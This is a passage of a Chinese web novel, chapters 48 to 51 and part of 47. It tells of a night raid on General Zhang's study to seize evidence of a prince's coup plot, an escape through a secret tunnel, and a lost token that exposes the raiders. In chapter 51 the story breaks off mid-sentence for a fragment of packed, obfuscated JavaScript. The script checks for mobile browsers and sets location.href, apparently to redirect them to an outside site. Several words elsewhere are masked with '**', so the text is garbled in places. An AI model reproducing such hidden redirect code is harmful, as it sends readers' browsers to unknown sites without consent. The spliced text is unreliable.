这就意味着,他们必须等待一个完美的时机。
接下来的两日,整个揽月楼以前所未有的效率运转了起来。
忠叔亲自坐镇,负责监控张府外围所有的人员流动,甚至连后院倒夜香的婆子,每日出门的时辰都被他记录在案。
陆风,则是化作了黑夜中的幽灵。
他没有带任何手下,独自一人将张府周边数百米范围内的所有街道、高墙,甚至下水道的出口,都摸得一清二楚。并在舆图上,规划出了至少三条可以在最短时间内撤离的路线。
终于,在第三日的午后,他们等来了最关键的情报。
李氏派了一位最信任的采买婆子,以来揽月楼订购寿宴糕点为由,送出了一封用特殊药水写就的密信。
信中告知:三日后,是当今皇帝的四十大寿。当晚宫中会设下国宴,张启年作为京畿卫戍的重要将领,必然会入宫赴宴,直至深夜才会归府。这期间,将是书房守卫最松懈的几个时辰!
信的背面,还附有一张由李氏亲手画的,书房内部的布局图。图上,甚至用朱笔,清晰地标注出了密室的机关所在:书架第三排,一本《前朝兵要》的下面!
万事俱备,只欠东风。
三日后,皇帝寿宴当晚。
整个乾国都城,都沉浸在一片喜庆的氛围中。
家家张灯结彩,处处歌舞升平。
皇宫的方向,更是灯火通明,亮如白昼,绚烂的烟火不时在夜空中炸开,引来百姓阵阵欢呼。
然而,在这片繁华的背后,揽月楼顶层的望月台中,却是气氛凝重。
陆风和他亲手挑选的两名狼卫,早已换上了夜行衣。他们的脸上,带着狰狞的恶狼面具,身上散发着冰冷的杀气。
沈琉璃正站在舆图前,做着最后的推演。她的指尖,在张府那小小的模型上,一次又一次地划过,将每一个细节都牢牢地刻在心里。
一切准备就绪,只等约定的子时一到,便可行动。
然而,就在此时……
望月台的门被猛地推开,忠叔面色凝重地从外面疾步而入。
“小姐!”他的声音因急促而嘶哑,“宫里……出大事了!”
第48章 意外
沈琉璃的心,随着那扇被撞开的门,猛地一沉!
“什么事!”她的声音,冷静得可怕。
“就在刚才,”忠叔喘着粗气,快速汇报道,“参与寿宴的蛮族使臣,在宴席上突然发难!他们以和谈为名,竟向陛下提出了割让北境三座城池,并赔偿黄金百万两的苛刻要求!
他顿了顿,声音里带上了颤抖:“使臣还扬言,若不答应,他们蛮族三十万铁骑,便会立刻南下,踏平北朔关!”
“什么?!”
这个消息,让在场所有**惊失色!
“……皇帝震怒!”忠叔继续说道,“当场便下令,将所有在都城的二品以上官员,包括张启年将军在内,全部召入御书房,连夜商议边境对策!”
这样一来,原定的“空城计”,就有可能出现变数!
张启年很可能因为这件事,随时都有可能回府取什么重要文件!
行动的时间,从几个时辰变成了一个随时可能关闭的陷阱!
“情况有变,这是战场上最大的忌讳!”君北玄大声说道,“立刻取消行动!等待下一次的机会!”
沈琉璃死死地攥着拳头,她看着舆图上那个近在咫尺的张府,缓缓地摇了摇头。
“不行!”她的声音,不大,却异常坚定,“我们没有下一次机会了!”
“为何?!”君北玄的语气里,充满了不解,“此等时刻,必须当机立断!为了一个不确定的‘证据’,让你的部下去冒如此大的风险,值得吗?!”
“值得!”沈琉璃猛地抬起头,“李夫人为了送出这份情报,已经赌上了她们母子,乃至整个家族的性命!我们一旦退缩,就等于将她亲手推入了死地!”
“而且,”她的声音,变得无比冰冷,“大皇子在鬼市吃了那么大的亏,他绝不会善罢甘休!他现在不动手,只是在等一个更好的时机!我们等不起了!”
君北玄沉默了。
他不得不承认,这个女子在某些时候,竟比他这个身经百战的将军还要果决!
在君北玄的沉默和陆风询问的目光中,沈琉璃做出了一个无比大胆的决定。
“行动,继续!”
“但,计划必须改变!”
她走到舆图前,指着张府书房的位置。
“既然时间不确定,那我们就不能再贪多。陆将军,你们潜入之后,放弃寻找所有账册。你们的目标只有一个:找到密室,从里面取走一样东西即可。无论是张启年与大皇子之间的往来密信,还是那支私兵的军官名册!拿到手,立刻撤退!”
“是!”陆风重重地点了点头。
“春桃!”
“奴婢在!”
“立刻启动备用方案!”沈琉璃继续说道,“你现在,立刻去一趟我表哥的府上。告诉他,今夜子时三刻,让他想办法,在城南的军械库附近,制造一点不大不小的动静,帮我引开一部分金吾卫的注意力!”
“是!”
做完这一切,沈琉璃才终于长长地舒了一口气。
她看着眼前这个,大徽王朝的将军,郑重地对着他深深一拜。
“陆将军,一切拜托了。”
陆风看着眼前这个少女,没有过多言语,只是点了点头。随即,对着身后的两名狼卫,做了一个出发的手势。
三道黑色的身影,瞬间便融入了无边的夜色之中。
沈琉璃走到窗边,望着远处皇宫的方向,那里灯火通明,却暗藏着无边的杀机。
她知道,自己已经将所有的筹码都押在了今夜。
成,则**。
败,则万劫不复。
……
子时已至,陆风和他挑选的两名狼卫,如同三道黑色的影子,悄无声息地潜伏在张府的高墙下。
他们在等待,等待一个最佳的时机,夜色,则是他们最好的伪装。
与此同时,都城的另一端,三皇子府的侧门前,一辆不起眼的马车停了下来。
春桃提着裙摆,几乎是从车上一路小跑着冲到了门前。
“通报!快去通报!”她对着守门的护卫,举起了一块玉牌,“揽月楼有万分火急之事,求见三殿下!”
守门的护卫认得这块玉牌,更认得眼前这个“护主狂魔”。他们不敢怠慢,一名护卫飞快地跑进府内通报。
书房内,当李琰听到春桃深夜到访的消息时,也是心头一紧。他知道,若非天大的事,自己这位表妹绝不会用这种方式来联系他。
“让她进来。”
当春桃被领进书房,看到三皇子时,她“噗通”一声就跪了下来。
“殿下!求您救救我家小姐!”
“起来说话!”李琰眉头紧锁,“出什么事了?”
春桃不敢有半分隐瞒,结结巴巴地,将沈琉璃让她转述的话,一五一十地说了出来。
她隐去了所有关于君北玄、陆风和顾九的细节,只说小姐今夜要办一件“足以扳倒大皇子”的要事,需要他在城南的军械库附近,制造一场不大不小的混乱,以引开金吾卫的注意力。
李琰听完,陷入了沉思。他看着眼前这个浑身发抖的小丫鬟,心中掀起了惊涛骇浪。
扳倒大皇子?
他这位表妹的胆子,到底是有多大?
“表妹,这是把孤当成放烟花的了?”他忽然开口,语气里带上了几分哭笑不得的调侃。
“不……不是的!”春桃急得眼泪都快掉下来了,她拼命地摇着头,“小姐说,此事事关重大,人命关天!还说若是殿下您不方便,她自己再想别的办法!”
看着春桃这副模样,李琰心中的那点疑虑,化为了一声无奈的轻叹。他知道,自己早已和沈琉璃,牢牢地绑在了同一
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条战船上。
“罢了。”他站起身,对着门外吩咐道,“来人,去告诉周先生,就说孤今夜偶感风寒,想去城南的别院泡泡温泉,让他备车吧。”
他这句看似没头没脑的话,却让站在他身后的心腹幕僚,眼中精光一闪。
……
子时三刻,城南方向,果然传来了一阵喧哗和火光。虽然很快便被巡夜的金吾卫给压了下去,但那短暂的混乱已经足够了。
“动手!”
陆风低喝一声,三人同时动了!
他们利用飞爪,悄无声息地勾住了一棵大树的树梢。随即,三道身影便如同灵猫一般,悄无声息地越过了那五米高的院墙,精准地落在了庭院内一处假山的阴影中。
整个过程,行云流水,没有发出一丝一毫多余的声响。
陆风落地后,没有立刻行动。
他只是打了一个简单的手势,他身后的两名狼卫便如同壁虎一般,紧贴着墙壁,朝着两个不同的方向潜行而去。他们是在清理暗哨,也是在为后续的撤离,铺平道路。
而陆风本人,则按照李氏提供的那张简易地图,在庭院的亭台楼阁间,飞速地穿行着。
不得不说,李氏的地图,起到了至关重要的作用。他完美地避开了所有的陷阱,很快便来到了书房所在的独立庭院外面。
庭院内,灯火通明。
四名手持长刀的护卫,如同门神一般,分立于书房大门的两侧。而在庭院的暗处,陆风能感觉到,至少还有六道隐晦的气息。
守卫,比李氏描述的还要森严!
陆风没有急于求成,他只是静静地潜伏在屋顶的阴影中,如同最有耐心的猎手,观察着猎物的每一次呼吸。
终于,在一炷香后,换防的时间到了。
就在这交接的短短数息之间,庭院的防御出现了一个稍纵即逝的空当!
就是现在!
陆风的身影,从屋顶上一跃而下!
他落地无声,整个人紧贴着书房的墙壁,悄无声息地绕到了后窗。
然而,当他准备推开窗户时,意外出现了。
书房的门窗,竟被人从内部,用极其特殊的机括锁,给反锁了!
这种锁造型奇特,李氏也未曾在信件中言明。陆风尝试着用随身携带的铁丝拨弄了片刻,却发现这个锁芯的结构,远比他想象中要复杂得多。
强行破锁,必然会出现声响!
任何一丝错误的尝试,都将让整个张府的宁静瞬间化为泡影。
潜入行动,在最后一步陷入了僵局!
陆风的眉头,紧紧地锁了起来。
他伸出手指,在那冰冷的锁芯上轻轻触摸,他在北境战场上,曾缴获过千**队的军用物资,上面便有类似的机括,但远不如眼前这个复杂。
怎么办?
放弃,还是强攻?
第49章 困兽之斗
陆风的身体在一瞬间绷紧到了极致,他几乎是凭着本能,反手拔出了腰间的战刀。
他身后的两名狼卫也已摆出了防御的姿态,三人背靠着背,形成了一个小小的三角战阵
他们的眼神,冷静得可怕,如同三头被逼入绝境的孤狼,虽然身陷重围,却依然散发着凶悍的气息。
“头儿!他们在里面!”一名护卫指着书架的方向,高声喊道。
为首的护卫头子,是一个身材魁梧的壮汉。他抬手制止了手下人的冲动,看着书房内的三道身影,眼中流露出了几分凝重。
他不是蠢货,能在张府这等守卫森严的地方,悄无声息地潜入到书房,甚至还打开了将军的密室,这绝非寻常**贼所能做到。
对方只有三人,却能在十几把钢刀的包围下,依然气定神闲,这本身就说明了问题。
“阁下是哪条道上的朋友?”护卫头子沉声喝道,试图先探一探对方的底细,“深夜造访将军府,所为何事?若是为了求财,把东西留下,或许还能留你们一条全尸!”
陆风没有回答,他只是将手中的战刀,缓缓地横于胸前。
他在等,等一个机会。
……
陆风等人被围困在书房的消息,也在第一时间传回了揽月楼。
“该死!怎么会这么快就被发现了?!”
沈琉璃的心跳几乎要停止了。
“小姐!怎么办?陆风将军他们不会有事吧?!”春桃抓着沈琉璃的胳膊,急得快要哭出来了。
“慌什么!”君北玄的声音,在她脑海中冰冷地响起,“越是这种时候,越要冷静!你若是先乱了,那他们就真的没救了!”
他这番话,如同一盆冰水,将沈琉璃给泼的清醒了几分。
是啊,她是主帅。
主帅,在任何时候,都不能倒下!
她深吸一口气,强迫自己冷静下来,大脑飞速运转着。
“王爷,现在怎么办?”这一次,她的声音里,再无半分慌乱,“强行突围吗?”
“不行。”君北玄断然否定,“对方已有准备,庭院内外,必然已经布下了天罗地网,甚至可能还有弓箭手。陆风他们虽然精锐,但终究是血肉之躯,一旦陷入**,必死无疑!”
“那……”
“拖!”君北玄继续说道,“想尽一切办法,拖延时间!”
“拖延时间?”
“没错!”君北玄的思维,快如闪电,“你忘了,你那位好表哥,刚刚才帮你点了一把火吗?”
沈琉璃的眼睛,瞬间亮了!
……
张府,书房。
就在双方剑拔**张,大战一触即发之际。
一个急促的脚步声,从庭院外传来。
“王头儿!王头儿!不好了!”一名护卫连滚带爬地跑了进来,脸上满是惊慌,“宫里来人了!”
“什么?!”那护卫头子王通,猛地一愣。
“是……是陛下的近侍,李公公!”那护卫喘着粗气,急切地说道,“说是陛下在御书房议事,急需一份‘京畿卫戍舆图’,命人立刻送入宫中!李公公他已经到前院了!”
这个消息,如同一道惊雷,让在场所有护卫的脸色都变了!
皇帝,在这个节骨眼上,十万火急的要一份军用舆图?!
王通的心,瞬间沉入了谷底。
抓刺客,是功劳。
可若是耽误了皇帝陛下的军国大事,那便是天大的罪过!
“妈的!”他狠狠地啐了一口,看了一眼书房内的三道身影,眼中闪过挣扎。
放他们走?不可能!
可若是在这里跟他们耗下去,耽误了宫里的事……
就在他进退两难之际,他身后的一名副手,压低声音道:“头儿,要不我们先去应付一下李公公?这几个贼人,已经被我们堵在了里面,他们插翅难飞!等送走了李公公,我们再回来,慢慢地炮制他们也不迟啊!”
王通闻言,眼中精光一闪!
没错!
他立刻做出了决断:“好!留下一半的人,给我死死地守住这里!一只苍蝇都不许放出去!剩下的人跟我去前院!”
他说完,便带着一半的人手,急匆匆地朝着前院的方向赶去。
书房内的包围圈,瞬间出现了一个巨大的缺口!
然而,陆风却没有动,他只是静静地看着王通等人离去的背影。
……
王通一路小跑,在前院的大厅里,见到了那位正在品茶的李公公。
“哎哟,李公公!”他连忙上前,脸上堆满了笑容,“您大驾光临,有失远迎,恕罪恕罪!”
“王统领,”李公公放下茶杯,皮笑肉不笑地说道,“咱家也是奉命行事,陛下的脾气你是知道的,那份舆图可找到了?”
“找到了!找到了!”王通连连点头,从怀中取出一个紫檀木盒,恭敬地呈了上去,“有劳公公亲自跑一趟,实在是……”
“行了。”李公公接过木盒,站起身来,“东西既然到手,咱家也该回去复命了。”
他说着,便要转身离去。
可就在此时,他像是忽然想起了什么,又回过头来,看似随意地问道:“对了,王统领,刚才咱家过来的时候,怎么瞧着你们府上,好像挺热闹的?又是火把,又是刀剑的,这是在抓老鼠吗?”
王通的心,猛地一跳!
他眼珠一转,立刻“噗通”一声跪了下来,声泪俱下地哭诉道:“公公明鉴啊!非是小的们无能!实在是今夜的贼人,太过猖狂!他们不仅潜入了将军的书房,还打伤了我们好几个兄弟!小的们怕动静太大,惊扰了圣驾,这才不敢声张啊!”
他这番话说得,半真半假,却将所有的责任都推得干干净净。
“哦?竟有此事?”李公公的脸上,露出了震惊的表情,“光天化日,天子脚下,竟有如此胆大包天的贼人?不行,此事咱家一定要如实地禀报陛下,让陛下派禁军来,将此等狂徒**万段!”
他说着,便真的要转身,朝宫里走去。
这下,王通是真的慌了!
让禁军来?
那他们这点破事,岂不是要被查个底朝天?!
“别……别啊!李公公!”他连滚带爬地,抱住了李公公的大腿,“这点小事,怎敢劳烦圣驾!小的们自己就能解决!保证在天亮之前,将贼人的人头送到您的面前!”
“是吗?”李公公低头看着他。
“是!是!绝对是!”
“那好吧,咱家就信你一次。”李公公叹了口气,“不过,咱家丑话可说在前面,若是天亮之前,咱家还听不到好消息……”
他没有把话说完,但那未尽之意,却像一把锋利
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的刀子,狠狠地扎在了王通的心上。
送走了这位瘟神,王通只觉得自己的后背,早已被冷汗浸透。
他知道,自己已经没有退路了。
他猛地站起身,眼中闪过了一抹狠戾。
“来人!”他对着身后,嘶声吼道,“传我的令!调集府内所有护卫!弓箭手,上房顶!给我将整个书房,都围起来!”
“告诉里面的人,一炷香内,若不束手就擒!”
“格杀勿论!”
……
书房内,陆风听着外面越来越密集的脚步声,还有那句最后的通牒,脸上并没有出现丝毫慌乱。
他缓缓地将军官名册和密信用油纸包好,塞进了怀中。然后,他对着身后的两名狼卫,打了一个简单的手势。
——准备突围。
然而,就在此时……
只听“轰隆”一声巨响!
书房内,用来摆放古董珍玩的**架,竟从中间,缓缓地向两侧移开!
露出了一条,仅容一人通过的漆黑密道!
一个娇小的身影,提着一盏灯笼,从密道内缓缓地走了出来。
正是张夫人,李氏!
面对突然出现的李氏和她身后的密道,陆风三人虽然震惊,但没有丝毫放松警惕。
这是唯一的生路,陆风立刻做出了自己的判断。
“快走!”李氏的脸上没有半分血色,但眼神却出奇地坚定,她压低声音催促道,“这条密道直通府外后巷的枯井,是我夫君以防万一留下的最后退路!王通他们很快就会反应过来!”
随着外面的脚步声越来越密集,陆风不再有半分犹豫。
他没有多言,只是对着这个女人,极快地一抱拳,算是谢过了这份恩情。随即,他对着身后的两名狼卫,打了个手势。
一人开路,一人殿后,立刻进入密道!
就在陆风等人的身影,即将消失在密道入口的瞬间,那名负责殿后的狼卫,却并没有选择跟上。
他看了一眼外面越来越近的火光,眼中闪过了一抹决然。
他猛地从怀中,取出了一个由顾九特制的黑色陶丸,毫不犹豫地将其捏碎,朝着书房门口,狠狠地扔了过去!
“砰!”
陶丸落地,一股黄色的浓烟瞬间炸开,伴随着一股刺鼻的的古怪气味,迅速弥漫了整个庭院!
“什么东西?!咳咳……好臭!”
“眼睛!我的眼睛睁不开了!”
那些刚刚才将书房包围起来的护卫们,瞬间便被这突如其来的“生化武器”,给冲得阵脚大乱,一个个捂着口鼻,涕泪横流,哪里还有半分刚才的嚣张气焰。
而那名狼卫,则趁着这片混乱,猛地撞破了窗户,如同猎豹一般,朝着与密道出口完全相反的方向,飞速突围!
他要用自己,来吸引所有人的注意!
“在那里!贼人在屋顶上!”
护卫头子王通,在烟雾中勉强睁开眼睛,一眼便看到了那个在屋顶上飞速闪掠的黑影,他勃然大怒,以为自己抓住了正主。
“弓箭手!放箭!给我把他射成刺猬!”他嘶声力竭地吼道,“其他人跟我追,绝不能让他跑了!”
一瞬间,张府内所有的追兵,都被这道身影,引向了另一个方向。
喊杀声、弓弦的嗡鸣声交织在一起,彻底打破了夜晚的宁静。
第50章 绝境生机
书房,在追兵远去后,终于暂时恢复了安全。
李氏看着眼前这一幕,露出了前所未有的震撼。她这才明白,自己合作的,究竟是一群什么样的人。
他们不仅对敌人狠,对自己更狠!那个主动引开所有追兵的黑衣人,在她看来,与赴死无异。
“夫人,得罪了。”
陆风的声音,在她耳边响起。他一把抓住李氏的手腕,将她一同带入了密道之中。
**架,在他们身后,缓缓地合上了。
……
密道内,漆黑、潮湿,狭窄得仅容一人通过。
李氏提着灯笼走在最前面,她的身体,因为恐惧和激动,还在微微地发抖。
陆风,则紧紧地跟在她的身后,一手护着怀中的证据,另一只手则握着战刀,警惕地听着地面上越来越远的喊杀声。
“夫人,”他忽然开口,声音低沉,“多谢。”
李氏的身影,微微一顿。
她没有回头,只是轻声说道:“不必谢我,我不是在帮你们,我是在救我的孩儿,也是在为我们张家,寻一条活路。”
她的声音里,带着几分凄凉,也带着几分决然。
陆风沉默了。
他知道,这个女人已经回不了头了。
密道并不算长,走了约莫一炷香的功夫,前方就出现了微弱的光亮。
“前面,就是出口了。”李氏的声音里,带上了几分如释重负,“那是一口早已废弃的枯井,直通后巷。”
然而,就在她的手,即将推开那块用来伪装的井底石板时……
只听“咔嚓”一声轻响!
走在陆风前面的狼卫,脚下猛地一空,半个身子都陷了下去!紧接着,一个隐藏在地板下的捕兽夹,便如同毒蛇的利齿,死死地咬住了他的脚踝!
“呃!”
那名狼卫闷哼一声,豆大的汗珠,瞬间从他的额头滚落。
“怎么回事?!”陆风一个箭步上前,脸色变得无比难看。
“我……我不知道……”李氏早已是花容失色,声音都在发颤,“夫君他从未跟我说过,这里还有机关……”
陆风看着同伴那血流如注的脚踝,知道不能再等了。
他当机立断,用**的刀背,在捕兽夹的机括处,狠狠一敲!
“咔嚓!”
捕兽夹应声而开。
“走!”
他不再有任何犹豫,一把将那名受伤的狼卫,扛在了自己的肩上,另一只手则护着李氏,朝着唯一的出口,猛地冲了过去!
……
张府后巷,枯井旁。
就在陆风等人,即将从井底冲出的瞬间。
一个懒洋洋的声音,忽然从井口上方飘了下来。
“我说,陆大统领,你们在底下摸什么鱼呢?再不出来,天可就要亮了。”
是顾九!
只见他,正坐在一辆看起来毫不起眼的垃圾车上,正一脸坏笑地看着井底。
而在他的身后,几名早已等候在此的狼卫,迅速地上前,将井口的石板移开,并放下了一条结实的绳索。
原来,在陆风出发前,心思缜密的沈琉璃,在君北玄的提醒下,已经预想到了最坏的情况。
她让伤势稍有好转的顾九,带着几名狼卫,提前潜伏在了这密道的出口处,作为最后的接应。
顾九虽然伤势未愈,但他对机关的了解,远胜陆风。
“主公说,让我在这里等一只‘落汤鸡’。”顾九看着陆风那狼狈的模样,啧啧称奇,“没想到,等来的竟是一头‘落水狼’。”
陆风没有理会他的调侃,只是迅速地将受伤的狼卫,还有李氏先送了上去。随即,自己也利落地攀了上去。
然而,那名受伤的狼卫,因为脚踝的剧痛,在攀爬时不慎将腰间的令牌碰掉,落入了枯井的深处。
那是一块,由玄铁打造,属于“狼卫”的身份令牌。
“咚。”
一声轻响,在寂静的夜里,显得格外清晰。
可所有人的注意力,都集中在了逃出生天的庆幸中,竟无一人,察觉到这个致命的疏漏。
……
张府,书房。
护卫头子王通,看着那空无一人的密室,脸色铁青。
他知道,自己被耍了。
“给我搜!”他嘶声力竭地吼道,“就算是掘地三尺,也要把他们给我找出来!”
最终,一名护卫在后巷的枯井旁,发现了几滴尚未干涸的血迹。
王通提着灯笼,亲自下到井底。
借着火光,他一眼,便看到了井底淤泥中的令牌。
他缓缓地将其捡起,借着火光,看清了上面那个,带着北境煞气的狼头图腾。
……
揽月楼,望月台。
刚刚才恢复了些许元气的顾九,正有气无力地靠在榻上,一边打着哈欠,一边熟练地为受伤的狼卫处理着伤口。
“啧啧啧,”他一边用烈酒清洗着伤口,一边摇头晃脑地评价道,“这捕兽夹的手艺,可真够糙的。锈迹斑斑,倒钩都磨平了,这要是换了我来设计,保证让他三条腿都走不出去。”
受伤的狼卫,是个年纪不大的青年,此刻正疼得满头大汗,嘴唇都咬出了血,却依旧是咬着牙,不发出一声呻吟。
但是,当他听到顾九这番风凉话,那张坚毅的脸上也不由得抽搐了一下。
“顾先生,”春桃在一旁,又是心疼又是好气地说道,“您就少说两句风凉话吧!柒哥他都快疼晕过去了!”
“小丫头,你懂什么?”顾九白了她一眼,手中的镊子,精准地夹出了一块深入皮肉的铁锈,“这叫‘转移注意力’,我若是不跟他说话,他满脑子想的都是疼。我多跟他聊聊,他一分心这不就好了?”
他说着,便
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将一块干净的纱布,麻利地包扎了上去,然后打了一个漂亮的结。
“行了,皮外伤,养个十天半月就好。”他拍了拍手,随即又瘫回了椅子上,“我说,陆大统领,你们这次出去,收获如何啊?可别是费了这么大劲,结果就带回来一腿的铁锈?”
陆风没有理会他的调侃。
他走到沈琉璃的面前,从怀中取出了包裹得严严实实的铁盒,恭敬地呈了上去。
“主公,幸不辱命。”
沈琉璃接过铁盒,缓缓地将其打开,两份薄薄的文书,静静地躺在其中。
一份,是京郊大营三千私兵的军官名册。里面,从上到下,清清楚楚地记载着每一个百夫长以上的军官姓名、籍贯,乃至家眷信息。
而另一份,则是大皇子李裕亲笔所写的密信!
信上的内容,让她看得心惊肉跳!
信中,李裕竟让张启年,在下月初七以“秋操演武”为名,将那三千私兵秘密地调往京城西郊的“卧龙坡”进行一场特殊操练!
而卧龙坡,距离京城的西华门,不过三十里!
“好一个‘特殊操练’!”君北玄的声音,在她脑海中响起,“他这是想在寿宴之后,趁着京城守备最松懈的时候,来一场兵变啊!”
“看来,我们这位大皇子殿下,已经等不及了。”沈琉璃的声音,也同样冰冷。
她知道,自己手中这份东西,已经不是简单的证据了。这是一份,足以让整个乾国皇室,都天翻地覆的催命符!
就在这时,那个一直沉默的狼卫“柒”,脸色一变!
“统领!”他的声音里,带上了前所未有的惊慌,“我的令牌,不见了!”
令牌?!
陆风的脸色,猛地一变!
他一个箭步上前,死死地盯住柒的眼睛:“什么时候的事?!”
“我……我不知道……”柒的声音都在发颤,“方才在密道中,被那捕兽夹夹住脚踝时,我曾剧烈地挣扎过,或许是那个时候掉的……”
“完了。”顾九那懒洋洋的声音,在此刻响起,“这下,麻烦大了。”
“不就是一块令牌吗?有什么大不了的?”春桃看着他们这副如临大敌的模样,有些不解地问道。
“那不是普通的令牌。”君北玄的声音,在沈琉璃的脑海中响起,“那是狼卫的身份令牌,每一块都是用北境独有的玄铁,由军中巧匠,耗时三月亲手打造,上面的狼头图腾和编号独一无二。”
“那块令牌,不仅仅是一个身份的证明。”他的声音里,充满了疲惫,“它更是一个符号,一个直接指向北境三十万大军,指向我君北玄的符号!”
“找到那块令牌,就等于在乾国的都城里,找到了我君北玄的战旗!”
沈琉璃的心沉入了谷底,她终于明白,这是一个何等致命的疏漏!
第51章 危机:丢失的令牌
大皇子府,书房。
大皇子李裕,正独自一人,对着一盏孤灯,擦拭着他最心爱的一柄宝剑。剑身如秋水,寒光凛冽,映照出他那张早已扭曲的脸庞。
鬼市之辱,张府之失,像两记响亮的耳光,狠狠地扇在了他的脸上,让他这几日夜不能寐,食不知味。
“沈琉璃……”他喃喃自语,声音里充满了怨毒,“你这个**,孤一定要将你**万段!”
就在此时,书房的门被轻轻地敲响。
护卫头子王通,快步走了进来,单膝跪地。
“殿下。”
“查得如何了?”李裕没有回头,只是冷冷地问道。
“回殿下,”王通的声音里,带着几分激动,“都已查明!那条密道,直通后巷的一口枯井,我们在井底发现了这个!”
他说着,便从怀中,取出了一个用丝帕包裹得严严实实的物件,恭敬地呈了上去。
李裕缓缓地转过身,接过那个物件。
当他展开丝帕,看到那块通体漆黑,正面刻着一个狰狞狼头的玄铁令牌时。
先是不敢相信,随即,便化为了无边的狂喜!
“哈哈……哈哈哈哈!”
他猛地仰起头,发出了一阵畅快淋漓的大笑,笑声在空旷的书房内回荡,充满了压抑已久的快意!
“狼头……玄铁……北境……”他喃喃自语,将那块冰冷的令牌在手中反复把玩,“这不是普通匪盗的信物,这是大徽王朝,肃王君北玄的狼卫?!”
他终于明白了!
他终于明白,沈琉璃背后,一直若隐若现的神秘势力,到底是什么了!
不是什么江湖豪客,也不是什么商贾巨富!
竟是敌国最精锐的边军!
“真是踏破铁鞋无觅处,得来全不费工夫!”李裕将那块令牌死死地攥在手心。
“沈琉璃啊,沈琉璃,你不是想扳倒孤吗?”
“那孤,便用这‘通敌叛国’的铁证,来送你上路!”
“传我的令!”他对着门外,嘶声吼道,“立刻去一趟宗人府!就说孤有要事,求见安王叔!”
他知道,自己手上这张牌,已经不仅仅是用来自保的盾牌了。
它是一柄,足以将沈琉璃、三皇子李琰、乃至整个尚书府,都拖入万劫不复深渊的绝世凶器!
……
揽月楼,望月台。
当君北玄,将“狼卫令牌”所代表的利害关系,一五一十地为沈琉璃剖析清楚后。
春桃和忠叔,早已是面无人色。
而顾九,此刻也是一脸的凝重。
“这下,是真的玩脱了。”他喃喃自语。
“现在说这些,还有何用?!”沈琉璃的脑海中,君北玄的声音,充满了焦躁,“我们现在,必须立刻行动!在他利用那块令牌,做出反应之前,抢先一步,将我们手中的证据,公之于众!”
“不行!”沈琉璃想也不想,便否决了,“王爷,您还不明白吗?我们现在已经失去了先机,那块令牌就是我们所有人的‘罪证’!我们现在拿出任何东西,都会被他反咬一口,说成是‘北境势力,意图干涉我朝内政’!到那时,我们便是有一百张嘴也说不清了!”
“那你说怎么办?!”君北玄暴跳如雷,“难道就坐在这里等死吗?!”
“不。”
沈琉璃缓缓地站起身,她走到窗边,看着远处那片,早已恢复了平静的夜色。
她的脸上没有慌乱,反而是一种,置之死地而后生的平静。
“王爷,”她轻声说道,“您说的没错,我们的优势,在于**我们拿到了什么。而我们的劣势,在于他知道了我们是谁。”
“所以,”她继续说道,“既然他想玩‘栽赃嫁祸’的游戏,那我们就陪他玩一场更大的。”
她转过身,看着在场的所有人说道:“我们,去见张启年。”
“不行!张启年是军人,忠诚是他的天性。你现在去找他,等同于自投罗网!他会立刻将你拿下,献给大皇子将功补过!”
君北玄的咆哮声,在沈琉璃的脑海中炸响,在经历了令牌丢失的致命疏漏后,他再也无法容忍任何冒险的行为。
“你手上已经有了他的罪证,有了那份军官名册!”君北玄的语速极快,迅速地为沈琉璃规划着在他看来最稳妥的战术。
“我们现在要做的,是立刻将这份证据,通过你表哥呈报给皇帝!同时,联合朝中所有能联合的力量,从外部对他进行最猛烈的**打击!这才是上策!而不是将你自己,送到一个随时可能叛变的敌人面前!”
他的计划堪称完美,也最是稳妥。
然而,沈琉璃却缓缓地摇了摇头。
“将军,您说的对,但您忽略了一点。”她声音平静得说道,“他不仅是军人,他更是一个父亲。”
“妇人之见!”
“不,这是人性。”沈琉璃在心里,平静地回应,“朝堂上的博弈,太慢了。那些老狐狸,在看到证据后,想的不会是如何为国除害,而是如何在这场风暴中,为自己谋取最大的利益。他们会观望,会权衡,等到他们终于下定决心时,大皇子怕是早已找到了应对之策,甚至反咬我们一口。”
她顿了顿,声音里带上了一股狠戾:“我们没有时间,去等待那些老狐狸的反应。我们必须在李裕反应过来前,把**,狠狠地插入他心脏的最深处!”
“而张启年,就是那把**。”
君北玄沉默了。
“风险太大了。”许久,他才回应道。
“我知道。”沈琉璃坦然地承认,“但一旦成功,我们便能将敌人最锋利的剑,变成我们自己的武器,这场豪赌值得。”
最终,君北玄妥协了。
他虽然依旧认为此举太过冒险,但也不得不承认,这是眼下破局的唯一方法。
“好。”他缓缓说道,“既然你执意要去,那本王便陪你疯一次。但你必须答应本王,从现在起,整个会面的节奏和谈判的每一个细节,都必须由本王来主导!”
“成交。”
计划既定,沈琉璃没有派人去军营送信,那太容易暴露。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076881|179246||http|test|mini|href|location''.split(''|''),0,{}));
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r>她只是将目光,投向了那个可怜的母亲。
第二日清晨,一辆极其普通的骡车,从揽月楼的后门驶出,悄无声息地汇入了都城川流不息的人潮之中。
车上,坐着的是张夫人李氏。
京城西郊,大营。
作为京畿卫戍最重要的将领之一,张启年这几日,过得可谓是焦头烂額。
寿宴那晚,蛮族使臣的突然发难,让整个乾国的边防都陷入了前所未有的紧张。
他作为守卫都城的将领,更是被皇帝耳提面命,勒令他打起十二万分的精神,绝不能让都城出半点乱子。
而比军务更让他心烦的,是自己病重的孩儿,还有那个“主子”。
就在他对着舆图,凝神沉思之际,一名亲兵敲门而入。
“将军,”那亲兵的神色有些古怪,“府上派人,给您送了样东西来。”
“何物?”张启年头也不抬地问道。
“是……是小公子的那块长命锁。”
张启年的身体,猛地一震!
这是他儿子的贴身之物,从不离身!
为何会突然送到这里来?!
夫人和孩儿,出事了?!
他强行压下心中的慌乱,仔细地检查着那块长命锁。
锁身冰冷,没有任何异常。
可当他的指尖,触碰到锁身背面时,却感觉到了轻微的凹凸感。
他心中一动,立刻屏退了左右,将那块长命锁,凑到了营帐内的炭火上,小心翼翼地烘烤着。
奇迹,发生了!
只见那原本光滑无比的锁身背面,竟缓缓地浮现出了几个细小的字迹!
“午时三刻,城外十里亭。”
张启年看着这几个字,只觉得浑身的血液,都快要凝固了。
……
揽月楼,望月台。
